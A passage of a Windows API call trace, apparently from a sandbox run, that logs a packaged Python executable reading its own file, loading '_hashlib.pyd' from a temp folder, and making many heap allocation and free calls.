hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8538 | out: hHeap=0x2ad0000) returned 1 [0073.708] GetCurrentThreadId () returned 0x9b0 [0073.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbc5f0 [0073.708] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c11c88 [0073.708] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbc5f0 | out: hHeap=0x2ad0000) returned 1 [0073.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c11680 [0073.709] GetCurrentThreadId () returned 0x9b0 [0073.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7188 | out: hHeap=0x2ad0000) returned 1 [0073.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7818 | out: hHeap=0x2ad0000) returned 1 [0073.709] GetCurrentThreadId () returned 0x9b0 [0073.709] GetCurrentThreadId () returned 0x9b0 [0073.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7b60 [0073.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7b60 | out: hHeap=0x2ad0000) returned 1 [0073.709] GetCurrentThreadId () returned 0x9b0 [0073.709] GetCurrentThreadId () returned 0x9b0 [0073.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8650 [0073.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8650 | out: hHeap=0x2ad0000) returned 1 [0073.709] GetCurrentThreadId () returned 0x9b0 [0073.709] GetCurrentThreadId () returned 0x9b0 [0073.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8f10 [0073.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8f10 | out: hHeap=0x2ad0000) returned 1 [0073.709] GetCurrentThreadId () returned 0x9b0 [0073.709] GetCurrentThreadId () returned 0x9b0 [0073.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba72a0 [0073.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7070 [0073.709] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba80d8 [0073.709] GetCurrentThreadId () returned 0x9b0 [0073.709] GetCurrentThreadId () returned 0x9b0 [0073.709] GetCurrentThreadId () returned 0x9b0 [0073.709] GetCurrentThreadId () returned 0x9b0 [0073.709] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba80d8 | out: hHeap=0x2ad0000) returned 1 [0073.709] GetCurrentThreadId () returned 0x9b0 [0073.709] GetCurrentThreadId () returned 0x9b0 [0073.709] GetCurrentThreadId () returned 0x9b0 [0073.709] GetLastError () returned 0x0 [0073.709] GetLastError () returned 0x0 [0073.710] GetLastError () returned 0x0 [0073.710] GetLastError () returned 0x0 [0073.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a200a8 [0073.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b50 [0073.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b50 | out: hHeap=0x2ad0000) returned 1 [0073.710] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af50 [0073.710] GetLastError () returned 0x0 [0073.710] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b78d8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.710] GetFileType (hFile=0x1e8) returned 0x1 [0073.710] GetLastError () returned 0x0 [0073.710] GetCurrentThreadId () returned 0x9b0 [0073.710] GetLastError () returned 0x0 [0073.710] GetFileType (hFile=0x1e8) returned 0x1 [0073.710] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b7954 | out: lpFileInformation=0x9b7954) returned 1 [0073.710] FileTimeToLocalFileTime (in: lpFileTime=0x9b7968, lpLocalFileTime=0x9b7998 | out: lpLocalFileTime=0x9b7998) returned 1 [0073.710] FileTimeToSystemTime (in: lpFileTime=0x9b7998, lpSystemTime=0x9b7988 | out: lpSystemTime=0x9b7988) returned 1 [0073.710] FileTimeToLocalFileTime (in: lpFileTime=0x9b7960, lpLocalFileTime=0x9b7998 | out: lpLocalFileTime=0x9b7998) returned 1 [0073.710] FileTimeToSystemTime (in: lpFileTime=0x9b7998, lpSystemTime=0x9b7988 | out: lpSystemTime=0x9b7988) returned 1 [0073.710] FileTimeToLocalFileTime (in: lpFileTime=0x9b7958, lpLocalFileTime=0x9b7998 | out: lpLocalFileTime=0x9b7998) returned 1 [0073.710] FileTimeToSystemTime (in: lpFileTime=0x9b7998, lpSystemTime=0x9b7988 | out: lpSystemTime=0x9b7988) returned 1 [0073.710] GetLastError () returned 0x0 [0073.710] GetCurrentThreadId () returned 0x9b0 [0073.710] GetLastError () returned 0x0 [0073.710] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af50 | out: hHeap=0x2ad0000) returned 1 [0073.711] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a200a8 | out: hHeap=0x2ad0000) returned 1 [0073.711] GetLastError () returned 0x0 [0073.711] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8301881, lpDistanceToMoveHigh=0x9b7a08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b7a08*=0) returned 0x7ead39 [0073.711] GetLastError () returned 0x0 [0073.711] GetCurrentThreadId () returned 0x9b0 [0073.711] GetLastError () returned 0x0 [0073.711] GetCurrentThreadId () returned 0x9b0 [0073.711] GetLastError () returned 0x0 [0073.711] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7832739, lpDistanceToMoveHigh=0x9b7da0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b7da0*=0) returned 0x7784a3 [0073.711] GetLastError () returned 0x0 [0073.711] GetCurrentThreadId () returned 0x9b0 [0073.711] GetLastError () returned 0x0 [0073.711] GetCurrentThreadId () returned 0x9b0 [0073.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc81) returned 0x2bbdc70 [0073.711] GetLastError () returned 0x0 [0073.711] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c1e240 [0073.711] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c1e240, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b7d54, lpOverlapped=0x0 | out: lpBuffer=0x2c1e240*, lpNumberOfBytesRead=0x9b7d54*=0x1000, lpOverlapped=0x0) returned 1 [0073.712] GetLastError () returned 0x0 [0073.712] GetCurrentThreadId () returned 0x9b0 [0073.712] GetLastError () returned 0x0 [0073.712] GetCurrentThreadId () returned 0x9b0 [0073.712] GetLastError () returned 0x0 [0073.712] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b6a2c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b6a2c*=0) returned 0x7794a3 [0073.712] GetLastError () returned 0x0 [0073.712] GetCurrentThreadId () returned 0x9b0 [0073.712] GetLastError () returned 0x0 [0073.712] GetLastError () returned 0x0 [0073.712] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c1e240 | out: hHeap=0x2ad0000) returned 1 [0073.712] CloseHandle (hObject=0x1e8) returned 1 [0073.712] GetLastError () returned 0x0 [0073.712] GetCurrentThreadId () returned 0x9b0 [0073.713] GetLastError () returned 0x0 [0073.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2bbe900 [0073.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2bc04d8 [0073.713] GetLastError () returned 0x0 [0073.713] GetCurrentThreadId () returned 0x9b0 [0073.713] GetLastError () returned 0x0 [0073.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbe900 | out: hHeap=0x2ad0000) returned 1 [0073.713] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bc04d8, Size=0x1a4d) returned 0x2bc04d8 [0073.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbdc70 | out: hHeap=0x2ad0000) returned 1 [0073.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x801) returned 0x2baa540 [0073.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a00 [0073.713] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17a00, Size=0x20) returned 0x2a1f920 [0073.713] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f920, Size=0x40) returned 0x2a18d40 [0073.713] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18d40, Size=0x64) returned 0x2a19968 [0073.713] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac0878 [0073.713] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0878, Size=0xb8) returned 0x2ac18b8 [0073.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x258) returned 0x2bbdc70 [0073.713] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac18b8, Size=0xe8) returned 0x2ac23e0 [0073.713] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac23e0, Size=0x120) returned 0x2ba5a30 [0073.713] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5a30, Size=0x160) returned 0x2c37460 [0073.713] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37460, Size=0x1a8) returned 0x2ac8d88 [0073.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac8d88 | out: hHeap=0x2ad0000) returned 1 [0073.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bc04d8 | out: hHeap=0x2ad0000) returned 1 [0073.713] GetCurrentThreadId () returned 0x9b0 [0073.713] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aed0 [0073.713] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aed0 | out: hHeap=0x2ad0000) returned 1 [0073.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbb390 [0073.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2ba9340 [0073.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2c32118 [0073.714] GetCurrentThreadId () returned 0x9b0 [0073.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7ea8 [0073.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8420 [0073.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8ab0 [0073.714] GetCurrentThreadId () returned 0x9b0 [0073.714] GetCurrentThreadId () returned 0x9b0 [0073.714] GetCurrentThreadId () returned 0x9b0 [0073.714] GetCurrentThreadId () returned 0x9b0 [0073.714] GetCurrentThreadId () returned 0x9b0 [0073.714] GetCurrentThreadId () returned 0x9b0 [0073.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8ab0 | out: hHeap=0x2ad0000) returned 1 [0073.714] GetCurrentThreadId () returned 0x9b0 [0073.714] GetCurrentThreadId () returned 0x9b0 [0073.714] GetLastError () returned 0x0 [0073.714] GetLastError () returned 0x0 [0073.714] GetLastError () returned 0x0 [0073.714] GetLastError () returned 0x0 [0073.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x39) returned 0x2a18f80 [0073.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17af0 [0073.714] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17af0 | out: hHeap=0x2ad0000) returned 1 [0073.714] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8af70 [0073.714] GetLastError () returned 0x0 [0073.714] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_hashlib.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\_hashlib.pyd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b76f0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.715] GetFileType (hFile=0x1e8) returned 0x1 [0073.715] GetLastError () returned 0x0 [0073.715] GetCurrentThreadId () returned 0x9b0 [0073.715] GetLastError () returned 0x0 [0073.715] GetFileType (hFile=0x1e8) returned 0x1 [0073.715] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b776c | out: lpFileInformation=0x9b776c) returned 1 [0073.715] FileTimeToLocalFileTime (in: lpFileTime=0x9b7780, lpLocalFileTime=0x9b77b0 | out: lpLocalFileTime=0x9b77b0) returned 1 [0073.715] FileTimeToSystemTime (in: lpFileTime=0x9b77b0, lpSystemTime=0x9b77a0 | out: lpSystemTime=0x9b77a0) returned 1 [0073.715] FileTimeToLocalFileTime (in: lpFileTime=0x9b7778, lpLocalFileTime=0x9b77b0 | out: lpLocalFileTime=0x9b77b0) returned 1 [0073.715] FileTimeToSystemTime (in: lpFileTime=0x9b77b0, lpSystemTime=0x9b77a0 | out: lpSystemTime=0x9b77a0) returned 1 [0073.715] FileTimeToLocalFileTime (in: lpFileTime=0x9b7770, lpLocalFileTime=0x9b77b0 | out: lpLocalFileTime=0x9b77b0) returned 1 [0073.715] FileTimeToSystemTime (in: lpFileTime=0x9b77b0, lpSystemTime=0x9b77a0 | out: lpSystemTime=0x9b77a0) returned 1 [0073.715] GetLastError () returned 0x0 [0073.715] GetCurrentThreadId () returned 0x9b0 [0073.715] GetLastError () returned 0x0 [0073.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af70 | out: hHeap=0x2ad0000) returned 1 [0073.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18f80 | out: hHeap=0x2ad0000) returned 1 [0073.715] GetLastError () returned 0x0 [0073.715] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_hashlib.pyd", nBufferLength=0x104, lpBuffer=0x9b74b4, lpFilePart=0x9b74ac | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_hashlib.pyd", lpFilePart=0x9b74ac*="_hashlib.pyd") returned 0x38 [0073.715] ActivateActCtx (in: hActCtx=0x1050d14, lpCookie=0x9b7494 | out: hActCtx=0x1050d14, lpCookie=0x9b7494) returned 1 [0073.716] LoadLibraryExA (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_hashlib.pyd", hFile=0x0, dwFlags=0x8) returned 0x74310000 [0073.739] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x2ac0130 [0073.739] RtlSizeHeap (HeapHandle=0x2ad0000, Flags=0x0, MemoryPointer=0x2ac0130) returned 0x80 [0073.740] RtlSizeHeap (HeapHandle=0x2ad0000, Flags=0x0, MemoryPointer=0x2ac0130) returned 0x80 [0073.740] GetLastError () returned 0x0 [0073.740] GetLastError () returned 0x0 [0073.740] GetLastError () returned 0x0 [0073.740] GetLastError () returned 0x0 [0073.741] DisableThreadLibraryCalls (hLibModule=0x74310000) returned 1 [0073.741] DeactivateActCtx (dwFlags=0x0, ulCookie=0x14590004) returned 1 [0073.741] SetErrorMode (uMode=0x0) returned 0x1 [0073.741] GetLastError () returned 0x0 [0073.741] GetProcAddress (hModule=0x74310000, lpProcName="init_hashlib") returned 0x74312430 [0073.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x60) returned 0x2ba3208 [0073.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40) returned 0x2a18d40 [0073.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17ad8 [0073.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c17928 [0073.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a18 [0073.744] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c17a60 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178b0 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c17af0 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17988 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c179b8 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17940 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c17910 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a78 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c17a90 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17970 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c17aa8 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178c8 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c17ac0 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a00 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c17b08 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b20 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c17b38 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17880 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c178e0 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b50 [0073.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c17868 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17bf8 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c17b98 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17be0 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c17b80 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17c10 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c17bc8 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b68 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c17c28 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17bb0 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a18088 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a18010 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18100 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a18370 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18388 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a182f8 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe1b8 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbdf18 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe158 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbdf78 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe140 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe170 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe1a0 [0073.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbdfa8 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbdfc0 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbdf90 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe068 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbdfd8 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe1e8 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe008 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe080 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe098 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbdf30 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbdff0 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe188 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe1d0 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe0b0 [0073.747] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18d40, Size=0x80) returned 0x2c33b80 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe0e0 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbdf00 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbdf60 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe0c8 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe020 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbdf48 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe0f8 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe110 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe038 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe128 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe050 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe260 [0073.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe248 [0073.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe230 [0073.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe218 [0073.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe278 [0073.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe290 [0073.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe2a8 [0073.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe2c0 [0073.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe200 [0073.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe398 [0073.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe308 [0073.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbe200 | out: hHeap=0x2ad0000) returned 1 [0073.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe320 [0073.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe4b8 [0073.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe3b0 [0073.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe3e0 [0073.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe470 [0073.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe578 [0073.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe560 [0073.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe590 [0073.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe380 [0073.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe518 [0073.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe530 [0073.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe3f8 [0073.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe3c8 [0073.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe4a0 [0073.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe410 [0073.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe350 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe548 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe488 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe428 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe440 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe458 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2bbe5d8 [0073.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2bbe4d0 [0073.750] RtlAllocateHeap 